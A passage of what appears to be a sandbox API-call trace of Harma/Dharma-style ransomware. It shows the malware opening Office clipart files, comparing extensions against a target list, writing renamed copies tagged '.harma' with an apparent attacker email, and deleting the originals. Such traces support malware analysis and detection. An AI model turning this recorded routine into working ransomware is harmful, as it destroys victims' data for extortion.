lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.790] SetEndOfFile (hFile=0x370) returned 1 [0158.790] CloseHandle (hObject=0x370) returned 1 [0158.790] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.790] SetEndOfFile (hFile=0x348) returned 1 [0158.792] CloseHandle (hObject=0x348) returned 1 [0158.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0158.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.793] lstrlenW (lpString=".doc") returned 4 [0158.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.793] lstrlenW (lpString=".docx") returned 5 [0158.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.794] lstrlenW (lpString=".pdf") returned 4 [0158.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString=".xls") returned 4 [0158.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.794] lstrlenW (lpString=".xlsx") returned 5 [0158.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.794] lstrlenW (lpString=".ppt") returned 4 [0158.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.794] lstrlenW (lpString=".zip") returned 4 [0158.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.794] lstrlenW (lpString=".rar") returned 4 [0158.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString=".bz2") returned 4 [0158.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString=".7z") returned 3 [0158.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.794] lstrlenW (lpString=".dbf") returned 4 [0158.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.794] lstrlenW (lpString=".1cd") returned 4 [0158.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.794] lstrlenW (lpString=".jpg") returned 4 [0158.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.794] lstrlenW (lpString=".doc") returned 4 [0158.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString=".docx") returned 5 [0158.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.795] lstrlenW (lpString=".pdf") returned 4 [0158.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString=".xls") returned 4 [0158.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.795] lstrlenW (lpString=".xlsx") returned 5 [0158.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.795] lstrlenW (lpString=".ppt") returned 4 [0158.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.795] lstrlenW (lpString=".zip") returned 4 [0158.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.795] lstrlenW (lpString=".rar") returned 4 [0158.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString=".bz2") returned 4 [0158.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString=".7z") returned 3 [0158.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.795] lstrlenW (lpString=".dbf") returned 4 [0158.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.795] lstrlenW (lpString=".1cd") returned 4 [0158.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0158.795] lstrlenW (lpString=".jpg") returned 4 [0158.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.796] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.796] lstrlenW (lpString="HH02166_.WMF") returned 12 [0158.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.796] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1324) returned 1 [0158.796] CloseHandle (hObject=0x348) returned 1 [0158.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0158.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.797] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.797] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.797] GetLastError () returned 0x0 [0158.797] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x52c, lpOverlapped=0x0) returned 1 [0158.862] WriteFile (in: hFile=0x370, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x530, lpOverlapped=0x0) returned 1 [0158.863] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.863] WriteFile (in: hFile=0x370, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.863] SetEndOfFile (hFile=0x370) returned 1 [0158.863] CloseHandle (hObject=0x370) returned 1 [0158.863] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.863] SetEndOfFile (hFile=0x348) returned 1 [0158.866] CloseHandle (hObject=0x348) returned 1 [0158.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0158.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0158.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0158.994] lstrlenW (lpString=".doc") returned 4 [0158.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.007] lstrlenW (lpString=".docx") returned 5 [0159.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.007] lstrlenW (lpString=".pdf") returned 4 [0159.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.007] lstrlenW (lpString=".xls") returned 4 [0159.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.007] lstrlenW (lpString=".xlsx") returned 5 [0159.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.007] lstrlenW (lpString=".ppt") returned 4 [0159.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.018] lstrlenW (lpString=".zip") returned 4 [0159.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.018] lstrlenW (lpString=".rar") returned 4 [0159.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString=".bz2") returned 4 [0159.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString=".7z") returned 3 [0159.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.034] lstrlenW (lpString=".dbf") returned 4 [0159.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.034] lstrlenW (lpString=".1cd") returned 4 [0159.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.034] lstrlenW (lpString=".jpg") returned 4 [0159.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.051] lstrlenW (lpString=".doc") returned 4 [0159.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.051] lstrlenW (lpString=".docx") returned 5 [0159.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.051] lstrlenW (lpString=".pdf") returned 4 [0159.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.051] lstrlenW (lpString=".xls") returned 4 [0159.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.051] lstrlenW (lpString=".xlsx") returned 5 [0159.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.051] lstrlenW (lpString=".ppt") returned 4 [0159.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.051] lstrlenW (lpString=".zip") returned 4 [0159.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.052] lstrlenW (lpString=".rar") returned 4 [0159.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.052] lstrlenW (lpString=".bz2") returned 4 [0159.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.052] lstrlenW (lpString=".7z") returned 3 [0159.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.052] lstrlenW (lpString=".dbf") returned 4 [0159.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.052] lstrlenW (lpString=".1cd") returned 4 [0159.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0159.052] lstrlenW (lpString=".jpg") returned 4 [0159.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.052] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.052] lstrlenW (lpString="IN00118_.WMF") returned 12 [0159.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.053] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=792) returned 1 [0159.053] CloseHandle (hObject=0x370) returned 1 [0159.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0159.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.054] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.054] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.055] GetLastError () returned 0x0 [0159.055] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x318, lpOverlapped=0x0) returned 1 [0159.090] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x320, lpOverlapped=0x0) returned 1 [0159.091] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.091] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.091] SetEndOfFile (hFile=0x380) returned 1 [0159.091] CloseHandle (hObject=0x380) returned 1 [0159.091] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.091] SetEndOfFile (hFile=0x370) returned 1 [0159.093] CloseHandle (hObject=0x370) returned 1 [0159.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.094] lstrlenW (lpString=".doc") returned 4 [0159.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".docx") returned 5 [0159.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.094] lstrlenW (lpString=".pdf") returned 4 [0159.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".xls") returned 4 [0159.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.094] lstrlenW (lpString=".xlsx") returned 5 [0159.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.095] lstrlenW (lpString=".ppt") returned 4 [0159.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.095] lstrlenW (lpString=".zip") returned 4 [0159.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.095] lstrlenW (lpString=".rar") returned 4 [0159.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString=".bz2") returned 4 [0159.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString=".7z") returned 3 [0159.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.095] lstrlenW (lpString=".dbf") returned 4 [0159.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.095] lstrlenW (lpString=".1cd") returned 4 [0159.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.095] lstrlenW (lpString=".jpg") returned 4 [0159.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.095] lstrlenW (lpString=".doc") returned 4 [0159.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString=".docx") returned 5 [0159.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.095] lstrlenW (lpString=".pdf") returned 4 [0159.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.095] lstrlenW (lpString=".xls") returned 4 [0159.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.096] lstrlenW (lpString=".xlsx") returned 5 [0159.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.096] lstrlenW (lpString=".ppt") returned 4 [0159.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.096] lstrlenW (lpString=".zip") returned 4 [0159.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.096] lstrlenW (lpString=".rar") returned 4 [0159.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.096] lstrlenW (lpString=".bz2") returned 4 [0159.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.096] lstrlenW (lpString=".7z") returned 3 [0159.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.096] lstrlenW (lpString=".dbf") returned 4 [0159.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.096] lstrlenW (lpString=".1cd") returned 4 [0159.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0159.096] lstrlenW (lpString=".jpg") returned 4 [0159.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.096] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.096] lstrlenW (lpString="IN00343_.WMF") returned 12 [0159.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.097] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1892) returned 1 [0159.098] CloseHandle (hObject=0x370) returned 1 [0159.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0159.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.099] GetLastError () returned 0x0 [0159.099] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x764, lpOverlapped=0x0) returned 1 [0159.101] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x770, lpOverlapped=0x0) returned 1 [0159.102] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.102] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.102] SetEndOfFile (hFile=0x380) returned 1 [0159.102] CloseHandle (hObject=0x380) returned 1 [0159.102] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.102] SetEndOfFile (hFile=0x370) returned 1 [0159.105] CloseHandle (hObject=0x370) returned 1 [0159.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft 